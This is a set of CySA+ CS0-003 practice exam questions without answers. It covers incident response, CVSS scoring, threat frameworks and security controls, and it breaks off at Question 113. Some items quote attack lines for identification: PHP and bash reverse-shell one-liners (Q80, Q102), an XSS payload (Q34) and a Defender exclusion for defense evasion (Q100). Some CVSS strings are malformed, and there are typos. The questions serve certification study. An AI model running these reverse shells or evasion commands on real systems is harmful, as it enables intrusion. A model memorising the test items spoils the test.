Free CompTIA CySA+ CS0-003 Practice Questions

Question 1

A recent zero-day vulnerability is being actively exploited, requires no user interaction or privilege escalation, and has a significant impact to confidentiality and integrity but not to availability.

Which of the following CVE metrics would be most accurate for this zero-day threat?

1. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
2. CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L
3. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
4. CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:H

Question 2

Which of the following tools would work best to prevent the exposure of PII outside of an organization?

1. PAM
2. IDS
3. PKI
4. DLP

Question 3

Which of the following items should be included in a vulnerability scan report? (Choose two.)

1. Lessons learned
2. Service-level agreement
3. Playbook
4. Affected hosts
5. Risk score
6. Education plan

Question 4

The Chief Executive Officer of an organization recently heard that exploitation of new attacks in the industry was happening approximately 45 days after a patch was released.

Which of the following would best protect this organization?

1. A mean time to remediate of 30 days
2. A mean time to detect of 45 days
3. A mean time to respond of 15 days
4. Third-party application testing

Question 5

A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS.

Which of the following most likely describes the observed activity?

1. There is an issue with the SSL certificate causing port 443 to become unavailable for HTTPS access
2. An on-path attack is being performed by someone with internal access that forces users into port 80
3. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
4. An error was caused by BGP due to new rules applied over the company's internal routers

Question 6

Which of the following will most likely ensure that mission-critical services are available in the event of an incident?

1. Business continuity plan
2. Vulnerability management plan
3. Disaster recovery plan
4. Asset management plan

Question 7

The Chief Information Security Officer wants to eliminate and reduce shadow IT in the enterprise. Several high-risk cloud applications are used that increase the risk to the organization.

Which of the following solutions will assist in reducing the risk?

1. Deploy a CASB and enable policy enforcement
2. Configure MFA with strict access
3. Deploy an API gateway
4. Enable SSO to the cloud applications

Question 8

An incident response team receives an alert to start an investigation of an internet outage. The outage is preventing all users in multiple locations from accessing external SaaS resources. The team determines the organization was impacted by a DDoS attack.

Which of the following logs should the team review first?

1. CDN
2. Vulnerability scanner
3. DNS
4. Web server

Question 9

A malicious actor has gained access to an internal network by means of social engineering. The actor does not want to lose access in order to continue the attack.

Which of the following best describes the current stage of the Cyber Kill Chain that the threat actor is currently operating in?

1. Weaponization
2. Reconnaissance
3. Delivery
4. Exploitation

Question 10

An analyst finds that an IP address outside of the company network that is being used to run network and vulnerability scans across external-facing assets.

Which of the following steps of an attack framework is the analyst witnessing?

1. Exploitation
2. Reconnaissance
3. Command and control
4. Actions on objectives

Question 11

A company’s security team is updating a section of the reporting policy that pertains to inappropriate use of resources (e.g., an employee who installs cryptominers on workstations in the office). Besides the security team, which of the following groups should the issue be escalated to first in order to comply with industry best practices?

1. Help desk
2. Law enforcement
3. Legal department
4. Board member

Question 12

During a security test, a security analyst found a critical application with a buffer overflow vulnerability.

Which of the following would be best to mitigate the vulnerability at the application level?

1. Perform OS hardening.
2. Implement input validation.
3. Update third-party dependencies.
4. Configure address space layout randomization.

Question 13

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on its infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host.

Which of the following data sources would most likely reveal evidence of the root cause? (Choose two.)

1. Creation time of dropper
2. Registry artifacts
3. EDR data
4. Prefetch files
5. File system metadata
6. Sysmon event log

Question 14

Which of the following would help an analyst to quickly find out whether the IP address in a SIEM alert is a known-malicious IP address?

1. Join an information sharing and analysis center specific to the company's industry
2. Upload threat intelligence to the IPS in STIX'TAXII format
3. Add data enrichment for IPs in the ingestion pipeline
4. Review threat feeds after viewing the SIEM alert

Question 15

Which of the following threat actors is most likely to target a company due to its questionable environmental policies?

1. Hacktivist
2. Organized crime
3. Nation-state
4. Lone wolf

Question 16

An organization's threat intelligence team notes a recent trend in adversary privilege escalation procedures. Multiple threat groups have been observed utilizing native

Windows tools to bypass system controls and execute commands with privileged credentials.

Which of the following controls would be most effective to reduce the rate of success of such attempts?

1. Set user account control protection to the most restrictive level on all devices
2. Implement MFA requirements for all internal resources
3. Harden systems by disabling or removing unnecessary services
4. Implement controls to block execution of untrusted applications

Question 17

An organization recently changed its BC and DR plans.

Which of the following would best allow for the incident response team to test the changes without any impact to the business?

1. Perform a tabletop drill based on previously identified incident scenarios.
2. Simulate an incident by shutting down power to the primary data center.
3. Migrate active workloads from the primary data center to the secondary location.
4. Compare the current plan to lessons learned from previous incidents.

Question 18

A security analyst needs to mitigate a known, exploited vulnerability related to an attack vector that embeds software through the USB interface.

Which of the following should the analyst do first?

1. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
2. Write a removable media policy that explains that USBs cannot be connected to a company asset.
3. Check configurations to determine whether USB ports are enabled on company assets.
4. Review logs to see whether this exploitable vulnerability has already impacted the company.

Question 19

Which of the following techniques can help a SOC team to reduce the number of alerts related to the internal security activities that the analysts have to triage?

1. Enrich the SIEM-ingested data to include all data required for triage
2. Schedule a task to disable alerting when vulnerability scans are executing
3. Filter all alarms in the SIEM with low seventy
4. Add a SOAR rule to drop irrelevant and duplicated notifications

Question 20

A security team needs to demonstrate how prepared the team is in the event of a cyberattack.

Which of the following would best demonstrate a real-world incident without impacting operations?

1. Review lessons-learned documentation and create a playbook.
2. Gather all internal incident response party members and perform a simulation.
3. Deploy known malware and document the remediation process.
4. Schedule a system recovery to the DR site for a few applications.

Question 21

An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware.

Which of the following factors would an analyst most likely communicate as the reason for this escalation?

1. Scope
2. Weaponization
3. CVSS
4. Asset value

Question 22

An organization has a critical financial application hosted online that does not allow event logging to send to the corporate SIEM.

Which of the following is the best option for the security analyst to configure to improve the efficiency of security operations?

1. Configure a new SIEM specific to the management of the hosted environment.
2. Subscribe to a threat feed related to the vendor's application.
3. Use a vendor-provided API to automate pulling the logs in real time.
4. Download and manually import the logs outside of business hours.

Question 23

The SOC received a threat intelligence notification indicating that an employee’s credentials were found on the dark web. The user’s web and log-in activities were reviewed for malicious or anomalous connections, data uploads/downloads, and exploits. A review of the controls confirmed multifactor authentication was enabled.

Which of the following should be done first to mitigate impact to the business networks and assets?

1. Perform a forced password reset.
2. Communicate the compromised credentials to the user.
3. Perform an ad hoc AV scan on the user's laptop.
4. Review and ensure privileges assigned to the user’s account reflect least privilege.
5. Lower the thresholds for SOC alerting of suspected malicious activity

Question 24

An organization has deployed a cloud-based storage system for shared data that is in phase two of the data life cycle.

Which of the following controls should the security team ensure are addressed? (Choose two.)

1. Data classification
2. Data destruction
3. Data loss prevention
4. Encryption
5. Backups
6. Access controls

Question 25

Which of the following phases of the Cyber Kill Chain involves the adversary attempting to establish communication with a successfully exploited target?

1. Command and control
2. Actions on objectives
3. Exploitation
4. Delivery

Question 26

A security team conducts a lessons-learned meeting after struggling to determine who should conduct the next steps following a security event.

Which of the following should the team create to address this issue?

1. Service-level agreement
2. Change management plan
3. Incident response plan
4. Memorandum of understanding

Question 27

During a tabletop exercise, engineers discovered that an ICS could not be updated due to hardware versioning incompatibility.

Which of the following is the most likely cause of this issue?

1. Legacy system
2. Business process interruption
3. Degrading functionality
4. Configuration management

Question 28

Which of the following is a reason proper handling and reporting of existing evidence are important for the investigation and reporting phases of an incident response?

1. To ensure the report is legally acceptable in case it needs to be presented in court
2. To present a lessons-learned analysis for the incident response team
3. To ensure the evidence can be used in a postmortem analysis
4. To prevent the possible loss of a data source for further root cause analysis

Question 29

A security analyst is performing an investigation involving multiple targeted Windows malware binaries. The analyst wants to gather intelligence without disclosing information to the attackers.

Which of the following actions would allow the analyst to achieve the objective?

1. Upload the binary to an air gapped sandbox for analysis
2. Send the binaries to the antivirus vendor
3. Execute the binaries on an environment with internet connectivity
4. Query the file hashes using VirusTotal

Question 30

Which of the following would an organization use to develop a business continuity plan?

1. A diagram of all systems and interdependent applications
2. A repository for all the software used by the organization
3. A prioritized list of critical systems defined by executive leadership
4. A configuration management database in print at an off-site location

Question 31

Which of the following best describes the goal of a disaster recovery exercise as preparation for possible incidents?

1. To provide metrics and test continuity controls
2. To verify the roles of the incident response team
3. To provide recommendations for handling vulnerabilities
4. To perform tests against implemented security controls

Question 32

Which of the following best explains the importance of communicating with staff regarding the official public communication plan related to incidents impacting the organization?

1. To establish what information is allowed to be released by designated employees
2. To designate an external public relations firm to represent the organization
3. To ensure that all news media outlets are informed at the same lime
4. To define how each employee will be contacted after an event occurs

Question 33

A payroll department employee was the target of a phishing attack in which an attacker impersonated a department director and requested that direct deposit information be updated to a new account. Afterward, a deposit was made into the unauthorized account.

Which of the following is one of the first actions the incident response team should take when they receive notification of the attack?

1. Scan the employee's computer with virus and malware tools
2. Review the actions taken by the employee and the email related to the event
3. Contact human resources and recommend the termination of the employee
4. Assign security awareness training to the employee involved in the incident

Question 34

While reviewing web server logs, a security analyst found the following line:

< IMG SRC='vbscript:msgbox("test")' >

Which of the following malicious activities was attempted?

1. Command injection
2. XML injection
3. Server-side request forgery
4. Cross-site scripting

Question 35

To minimize the impact of a security incident, a cybersecurity analyst has configured audit settings in the organization’s cloud services.

Which of the following security controls has the analyst configured?

1. Preventive
2. Corrective
3. Directive
4. Detective

Question 36

Which of the following describes a contract that is used to define the various levels of maintenance to be provided by an external business vendor in a secure environment?

1. MOU
2. NDA
3. BIA
4. SLA

Question 37

During the rollout of a patch to the production environment, it was discovered that required connections to remote systems are no longer possible.

Which of the following steps would have most likely revealed this gap?

1. Implementation
2. User acceptance testing
3. Validation
4. Rollback

Question 38

Given the following CVSS string:

CVSS:3.0/AV:C:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Which of the following attributes correctly describes this vulnerability?

1. A user is required to exploit this vulnerability.
2. The vulnerability is network based.
3. The vulnerability does not affect confidentiality.
4. The complexity to exploit the vulnerability is high.

Question 39

Following an attack, an analyst needs to provide a summary of the event to the Chief Information Security Officer. The summary needs to include the who-what-when information and evaluate the effectiveness of the plans in place.

Which of the following incident management life cycle processes does this describe?

1. Business continuity plan
2. Lessons learned
3. Forensic analysis
4. Incident response plan

Question 40

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device’s operating system.

Which of the following best meets this requirement?

1. SIEM
2. CASB
3. SOAR
4. EDR

Question 41

Which of the following describes the best reason for conducting a root cause analysis?

1. The root cause analysis ensures that proper timelines were documented.
2. The root cause analysis allows the incident to be properly documented for reporting.
3. The root cause analysis develops recommendations to improve the process.
4. The root cause analysis identifies the contributing items that facilitated the event.

Question 42

A small company does not have enough staff to effectively segregate duties to prevent error and fraud in payroll management. The Chief Information Security Officer (CISO) decides to maintain and review logs and audit trails to mitigate risk.

Which of the following did the CISO implement?

1. Corrective controls
2. Compensating controls
3. Operational controls
4. Administrative controls

Question 43

Exploit code for a recently disclosed critical software vulnerability was publicly available for download for several days before being removed.

Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

1. Remediation level
2. Exploit code maturity
3. Report confidence
4. Availability

Question 44

Which of the following best describes the actions taken by an organization after the resolution of an incident that addresses issues and reflects on the growth opportunities for future incidents?

1. Lessons learned
2. Scrum review
3. Root cause analysis
4. Regulatory compliance

Question 45

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools.

Which of the following best describes what the security program did?

1. Data enrichment
2. Security control plane
3. Threat feed combination
4. Single pane of glass

Question 46

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.

Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

1. Conduct regular red team exercises over the application in production
2. Ensure that all implemented coding libraries are regularly checked
3. Use application security scanning as part of the pipeline for the CI/CD flow
4. Implement proper input validation for any data entry form

Question 47

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization.

Which of the following will produce the data needed for the briefing?

1. Firewall logs
2. Indicators of compromise
3. Risk assessment
4. Access control lists

Question 48

Security analysts review logs on multiple servers on a daily basis.

Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

1. Deploy a database to aggregate the logging
2. Configure the servers to forward logs to a SIEM
3. Share the log directory on each server to allow local access.
4. Automate the emailing of logs to the analysts.

Question 49

A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting.

Which of the following tools would the security team most likely recommend to perform this test?

1. Hashcat
2. OpenVAS
3. OWASP ZAP
4. Nmap

Question 50

A manufacturing company’s assembly line machinery only functions on an end-of-life OS. Consequently, no patches exist for several highly exploitable OS vulnerabilities.

Which of the following is the best mitigating control to reduce the risk of these current conditions?

1. Enforce strict network segmentation to isolate vulnerable systems from the production network.
2. Increase the system resources for vulnerable devices to prevent denial of service.
3. Perform penetration testing to verify the exploitability of these vulnerabilities.
4. Develop in-house patches to address these vulnerabilities.

Question 51

Which of the following would most likely be used to update a dashboard that integrates with multiple vendor tools?

1. Webhooks
2. Extensible Markup Language
3. Threat feed combination
4. JavaScript Object Notation

Question 52

After a recent vulnerability report for a server is presented, a business must decide whether to secure the company’s web-based storefront or shut it down. The developer is not able to fix the zero-day vulnerability because a patch does not exist yet.

Which of the following is the best option for the business?

1. Limit the API request for new transactions until a patch exists.
2. Take the storefront offline until a patch exists.
3. Identify the degrading functionality.
4. Put a WAF in front of the storefront.

Question 53

After an incident, a security analyst needs to perform a forensic analysis to report complete information to a company stakeholder.

Which of the following is most likely the goal of the forensic analysis in this case?

1. Provide a full picture of the existing risks.
2. Notify law enforcement of the incident.
3. Further contain the incident.
4. Determine root cause information.

Question 54

A cybersecurity analyst has been assigned to the threat-hunting team to create a dynamic detection strategy based on behavioral analysis and attack patterns.

Which of the following best describes what the analyst will be creating?

1. Bots
2. IoCs
3. TTPs
4. Signatures

Question 55

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems.

Which of the following should be checked first?

1. If appropriate logging levels are set
2. NTP configuration on each system
3. Behavioral correlation settings
4. Data normalization rules

Question 56

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

1. Agree on the goals and objectives of the plan
2. Determine the site to be used during a disaster
3. Demonstrate adherence to a standard disaster recovery process
4. Identify applications to be run during a disaster

Question 57

A Chief Information Security Officer wants to implement security by design, starting with the implementation of a security scanning method to identify vulnerabilities, including SQL injection, RFI, XSS, etc. Which of the following would most likely meet the requirement?

1. Reverse engineering
2. Known environment testing
3. Dynamic application security testing
4. Code debugging

Question 58

A cybersecurity analyst is recommending a solution to ensure emails that contain links or attachments are tested before they reach a mail server.

Which of the following will the analyst most likely recommend?

1. Sandboxing
2. MFA
3. DKIM
4. Vulnerability scan

Question 59

A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised.

Which of the following steps should the administrator take next?

1. Inform the internal incident response team.
2. Follow the company's incident response plan.
3. Review the lessons learned for the best approach.
4. Determine when the access started.

Question 60

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat.

Which of the following is the best solution to secure the network?

1. Implement segmentation with ACLs.
2. Configure logging and monitoring to the SIEM.
3. Deploy MFA to cloud storage locations.
4. Roll out an IDS.

Question 61

Which of the following would eliminate the need for different passwords for a variety of internal applications?

1. CASB
2. SSO
3. PAM
4. MFA

Question 62

A security analyst must preserve a system hard drive that was involved in a litigation request.

Which of the following is the best method to ensure the data on the device is not modified?

1. Generate a hash value and make a backup image.
2. Encrypt the device to ensure confidentiality of the data.
3. Protect the device with a complex password.
4. Perform a memory scan dump to collect residual data

Question 63

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute.

However, the control was unable to detect an attack with nine failed logins.

Which of the following best represents what occurred?

1. False positive
2. True negative
3. False negative
4. True positive

Question 64

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of the current sprint, only three can be remediated.

Which of the following represents the least impactful risk, given the CVSS3.1 base scores?

1. AV:C:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0
2. AV:C:H/PR:H/UI:N/S:C/C:H/I:H/A:L - Base Score 7.2
3. AV:C:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4
4. AV:C:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5

Question 65

A high volume of failed RDP authentication attempts was logged on a critical server within a one-hour period. All of the attempts originated from the same remote IP address and made use of a single valid domain user account.

Which of the following would be the most effective mitigating control to reduce the rate of success of this brute-force attack?

1. Enabling a user account lockout after a limited number of failed attempts
2. Installing a third-party remote access tool and disabling RDP on all devices
3. Implementing a firewall block for the remote system's IP address
4. Increasing the verbosity of log-on event auditing on all devices

Question 66

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

1. Mean time to detect
2. Number of exploits by tactic
3. Alert volume
4. Quantity of intrusion attempts

Question 67

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls.

Which of the following would best address this issue?

1. Increasing training and awareness for all staff
2. Ensuring that malicious websites cannot be visited
3. Blocking all scripts downloaded from the internet
4. Disabling all staff members’ ability to run downloaded applications

Question 68

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

1. The lead should review what is documented in the incident response policy or plan
2. Management level members of the CSIRT should make that decision
3. The lead has the authority to decide who to communicate with at any t me
4. Subject matter experts on the team should communicate with others within the specified area of expertise

Question 69

A SOC receives several alerts indicating user accounts are connecting to the company’s identity provider through non-secure communications.

User credentials for accessing sensitive, business-critical systems could be exposed.

Which of the following logs should the SOC use when determining malicious intent?

1. DNS
2. tcpdump
3. Directory
4. IDS

Question 70

The security analyst received the monthly vulnerability report. The following findings were included in the report:

• Five of the systems only required a reboot to finalize the patch application

• Two of the servers are running outdated operating systems and cannot be patched

The analyst determines that the only way to ensure these servers cannot be compromised is to isolate them.

Which of the following approaches will best minimize the risk of the outdated servers being compromised?

1. Compensating controls
2. Due diligence
3. Maintenance windows
4. Passive discovery

Question 71

An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:

• created the initial evidence log.

• disabled the wireless adapter on the device.

• interviewed the employee, who was unable to identify the website that was accessed.

• reviewed the web proxy traffic logs.

Which of the following should the analyst do to remediate the infected device?

1. Update the system firmware and reimage the hardware.
2. Install an additional malware scanner that will send email alerts to the analyst.
3. Configure the system to use a proxy server for Internet access.
4. Delete the user profile and restore data from backup.

Question 72

A list of IoCs released by a government security organization contains the SHA-256 hash for a Microsoft-signed legitimate binary, svchost.exe.

Which of the following best describes the result if security teams add this indicator to their detection signatures?

1. This indicator would fire on the majority of Windows devices.
2. Malicious files with a matching hash would be detected.
3. Security teams would detect rogue svchost.exe processes in their environment.
4. Security teams would detect event entries detailing execution of known-malicious svchost.exe processes.

Question 73

A security analyst is reviewing the findings of the latest vulnerability report for a company’s web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision.

Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

1. Deploy a WAF to the front of the application.
2. Replace the current MD5 with SHA-256.
3. Deploy an antivirus application on the hosting system.
4. Replace the MD5 with digital signatures.

Question 74

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics.

Which of the following attack vectors should the analyst remediate first?

1. CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2. CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
3. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Question 75

An organization has establish a formal change management process after experiencing several critical system failures over the past year.

Which of the following are key factors that the change management process will include in order to reduce the impact of system failures? (Choose two.)

1. Ensure users the document system recovery plan prior to deployment.
2. Perform a full system-level backup following the change.
3. Leverage an audit tool to identify changes that are being made.
4. Identify assets with dependence that could be impacted by the change.
5. Require diagrams to be completed for all critical systems.
6. Ensure that all assets are properly listed in the inventory management system.

Question 76

Which of the following best describes the threat concept in which an organization works to ensure that all network users only open attachments from known sources?

1. Hacktivist threat
2. Advanced persistent threat
3. Unintentional insider threat
4. Nation-state threat

Question 77

A cybersecurity analyst is doing triage in a SIEM and notices that the time stamps between the firewall and the host under investigation are off by 43 minutes.

Which of the following is the most likely scenario occurring with the time stamps?

1. The NTP server is not configured on the host
2. The cybersecurity analyst is looking at the wrong information
3. The firewall is using UTC time
4. The host with the logs is offline

Question 78

Which of the following best describes the key elements of a successful information security program?

1. Business impact analysis, asset and change management, and security communication plan
2. Security policy implementation, assignment of roles and responsibilities, and information asset classification
3. Disaster recovery and business continuity planning, and the definition of access control requirements and human resource policies
4. Senior management organizational structure, message distribution standards, and procedures for the operation of security management systems

Question 79

A security analyst has received an incident case regarding malware spreading out of control on a customer's network. The analyst is unsure how to respond. The configured EDR has automatically obtained a sample of the malware and its signature.

Which of the following should the analyst perform next to determine the type of malware based on its telemetry?

1. Cross-reference the signature with open-source threat intelligence.
2. Configure the EDR to perform a full scan.
3. Transfer the malware to a sandbox environment.
4. Log in to the affected systems and run netstat.

Question 80

While reviewing web server logs, a security analyst discovers the following suspicious line: php -r ’$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");’

Which of the following is being attempted?

1. Remote file inclusion
2. Command injection
3. Server-side request forgery
4. Reverse shell

Question 81

During an incident in which a user machine was compromised, an analyst recovered a binary file that potentially caused the exploitation.

Which of the following techniques could be used for further analysis?

1. Fuzzing
2. Static analysis
3. Sandboxing
4. Packet capture

Question 82

A team of analysts is developing a new internal system that correlates information from a variety of sources, analyzes that information, and then triggers notifications according to company policy.

Which of the following technologies was deployed?

1. SIEM
2. SOAR
3. IPS
4. CERT

Question 83

Which of the following statements best describes the MITRE ATT&CK framework?

1. It provides a comprehensive method to test the security of applications.
2. It provides threat intelligence sharing and development of action and mitigation strategies.
3. It helps identify and stop enemy activity by highlighting the areas where an attacker functions.
4. It tracks and understands threats and is an open-source project that evolves.
5. It breaks down intrusions into a clearly defined sequence of phases.

Question 84

A security administrator has been notified by the IT operations department that some vulnerability reports contain an incomplete list of findings.

Which of the following methods should be used to resolve this issue?

1. Credentialed scar
2. External scan
3. Differential scan
4. Network scan

Question 85

A security analyst is responding to an incident that involves a malicious attack on a network data closet.

Which of the following best explains how the analyst should properly document the incident?

1. Back up the configuration file for all network devices.
2. Record and validate each connection.
3. Create a full diagram of the network infrastructure.
4. Take photos of the impacted items.

Question 86

Which of the following does "federation" most likely refer to within the context of identity and access management?

1. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access
2. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains
3. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user
4. Correlating one's identity with the attributes and associated applications the user has access to

Question 87

A company is deploying new vulnerability scanning software to assess its systems. The current network is highly segmented, and the networking team wants to minimize the number of unique firewall rules.

Which of the following scanning techniques would be most efficient to achieve the objective?

1. Deploy agents on all systems to perform the scans
2. Deploy a central scanner and perform non-credentialed scans
3. Deploy a cloud-based scanner and perform a network scan
4. Deploy a scanner sensor on every segment and perform credentialed scans

Question 88

A recent vulnerability scan resulted in an abnormally large number of critical and high findings that require patching. The SLA requires that the findings be remediated within a specific amount of time.

Which of the following is the best approach to ensure all vulnerabilities are patched in accordance with the SLA?

1. Integrate an IT service delivery ticketing system to track remediation and closure
2. Create a compensating control item until the system can be fully patched
3. Accept the risk and decommission current assets as end of life
4. Request an exception and manually patch each system

Question 89

An analyst wants to ensure that users only leverage web-based software that has been pre-approved by the organization.

Which of the following should be deployed?

1. Blocklisting
2. Allowlisting
3. Graylisting
4. Webhooks

Question 90

Joe, a leading sales person at an organization, has announced on social media that he is leaving his current role to start a new company that will compete with his current employer. Joe is soliciting his current employer's customers. However, Joe has not resigned or discussed this with his current supervisor yet.

Which of the following would be the best action for the incident response team to recommend?

1. Isolate Joe's PC from the network
2. Reimage the PC based on standard operating procedures
3. Initiate a remote wipe of Joe's PC using mobile device management
4. Perform no action until HR or legal counsel advises on next steps

Question 91

A company is implementing a vulnerability management program and moving from an on-premises environment to a hybrid IaaS cloud environment.

Which of the following implications should be considered on the new hybrid environment?

1. The current scanners should be migrated to the cloud
2. Cloud-specific misconfigurations may not be detected by the current scanners
3. Existing vulnerability scanners cannot scan IaaS systems
4. Vulnerability scans on cloud environments should be performed from the cloud

Question 92

A web application team notifies a SOC analyst that there are thousands of HTTP/404 events on the public-facing web server.

Which of the following is the next step for the analyst to take?

1. Instruct the firewall engineer that a rule needs to be added to block this external server
2. Escalate the event to an incident and notify the SOC manager of the activity
3. Notify the incident response team that there is a DDoS attack occurring
4. Identify the IP/hostname for the requests and look at the related activity

Question 93

Which of the following in the digital forensics process is considered a critical activity that often includes a graphical representation of process and operating system events?

1. Registry editing
2. Network mapping
3. Timeline analysis
4. Write blocking

Question 94

A technician identifies a vulnerability on a server and applies a software patch.

Which of the following should be the next step in the remediation process?

1. Testing
2. Implementation
3. Validation
4. Rollback

Question 95

During an incident, a security analyst discovers a large amount of PII has been emailed externally from an employee to a public email address. The analyst finds that the external email is the employee’s personal email.

Which of the following should the analyst recommend be done first?

1. Place a legal hold on the employee’s mailbox.
2. Enable filtering on the web proxy.
3. Disable the public email access with CASB.
4. Configure a deny rule on the firewall.

Question 96

A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment.

Which of the following must be considered to ensure the consultant does no harm to operations?

1. Employing Nmap Scripting Engine scanning techniques
2. Preserving the state of PLC ladder logic prior to scanning
3. Using passive instead of active vulnerability scans
4. Running scans during off-peak manufacturing hours

Question 97

Following a recent security incident, the Chief Information Security Officer is concerned with improving visibility and reporting of malicious actors in the environment. The goal is to reduce the time to prevent lateral movement and potential data exfiltration.

Which of the following techniques will best achieve the improvement?

1. Mean time to detect
2. Mean time to respond
3. Mean time to remediate
4. Service-level agreement uptime

Question 98

An organization is conducting a pilot deployment of an e-commerce application. The application’s source code is not available.

Which of the following strategies should an analyst recommend to evaluate the security of the software?

1. Static testing
2. Vulnerability testing
3. Dynamic testing
4. Penetration testing

Question 99

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server.

Which of the following best describes the activity that is taking place?

1. Data exfiltration
2. Rogue device
3. Scanning
4. Beaconing

Question 100

An employee downloads a freeware program to change the desktop to the classic look of legacy Windows. Shortly after the employee installs the program, a high volume of random DNS queries begin to originate from the system. An investigation on the system reveals the following:

Add-MpPreference –ExclusionPath ‘%Program Files%\ksyconfig’

Which of the following is possibly occurring?

1. Persistence
2. Privilege escalation
3. Credential harvesting
4. Defense evasion

Question 101

During an extended holiday break, a company suffered a security incident. This information was properly relayed to appropriate personnel in a timely manner and the server was up to date and configured with appropriate auditing and logging. The Chief Information Security Officer wants to find out precisely what happened.

Which of the following actions should the analyst take first?

1. Clone the virtual server for forensic analysis
2. Log m to the affected server and begin analysis of the logs
3. Restore from the last known-good backup to confirm there was no loss of connectivity
4. Shut down the affected server immediately

Question 102

A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l

Which of the following is being attempted?

1. RCE
2. Reverse shell
3. XSS
4. SQL injection

Question 103

Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?

1. Review of security requirements
2. Compliance checks
3. Decomposing the application
4. Security by design

Question 104

An attacker has just gained access to the syslog server on a LAN. Reviewing the syslog entries has allowed the attacker to prioritize possible next targets.

Which of the following is this an example of?

1. Passive network footprinting
2. OS fingerprinting
3. Service port identification
4. Application versioning

Question 105

A cybersecurity team lead is developing metrics to present in the weekly executive briefs. Executives are interested in knowing how long it takes to stop the spread of malware that enters the network.

Which of the following metrics should the team lead include in the briefs?

1. Mean time between failures
2. Mean time to detect
3. Mean time to remediate
4. Mean time to contain

Question 106

Which of the following should be updated after a lessons-learned review?

1. Disaster recovery plan
2. Business continuity plan
3. Tabletop exercise
4. Incident response plan

Question 107

After conducting a cybersecurity risk assessment for a new software request, a Chief Information Security Officer (CISO) decided the risk score would be too high. The CISO refused the software request.

Which of the following risk management principles did the CISO select?

1. Avoid
2. Transfer
3. Accept
4. Mitigate

Question 108

A systems administrator is reviewing after-hours traffic flows from data-center servers and sees regular outgoing HTTPS connections from one of the servers to a public IP address. The server should not be making outgoing connections after hours. Looking closer, the administrator sees this traffic pattern around the clock during work hours as well.

Which of the following is the most likely explanation?

1. C2 beaconing activity
2. Data exfiltration
3. Anomalous activity on unexpected ports
4. Network host IP address scanning
5. A rogue network device

Question 109

A security analyst needs to secure digital evidence related to an incident. The security analyst must ensure that the accuracy of the data cannot be repudiated.

Which of the following should be implemented?

1. Offline storage
2. Evidence collection
3. Integrity validation
4. Legal hold

Question 110

An analyst discovers unusual outbound connections to an IP that was previously blocked at the web proxy and firewall. Upon further investigation, it appears that the proxy and firewall rules that were in place were removed by a service account that is not recognized.

Which of the following parts of the Cyber Kill Chain does this describe?

1. Delivery
2. Command and control
3. Reconnaissance
4. Weaponization

Question 111

A SOC analyst identifies the following content while examining the output of a debugger command over a client-server application: getConnection(database01,"alpha" ,"AxTv.127GdCx94GTd");

Which of the following is the most likely vulnerability in this system?

1. Lack of input validation
2. SQL injection
3. Hard-coded credential
4. Buffer overflow

Question 112

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender.

Which of the following information security goals is the analyst most likely trying to achieve?

1. Non-repudiation
2. Authentication
3. Authorization
4. Integrity

Question 113

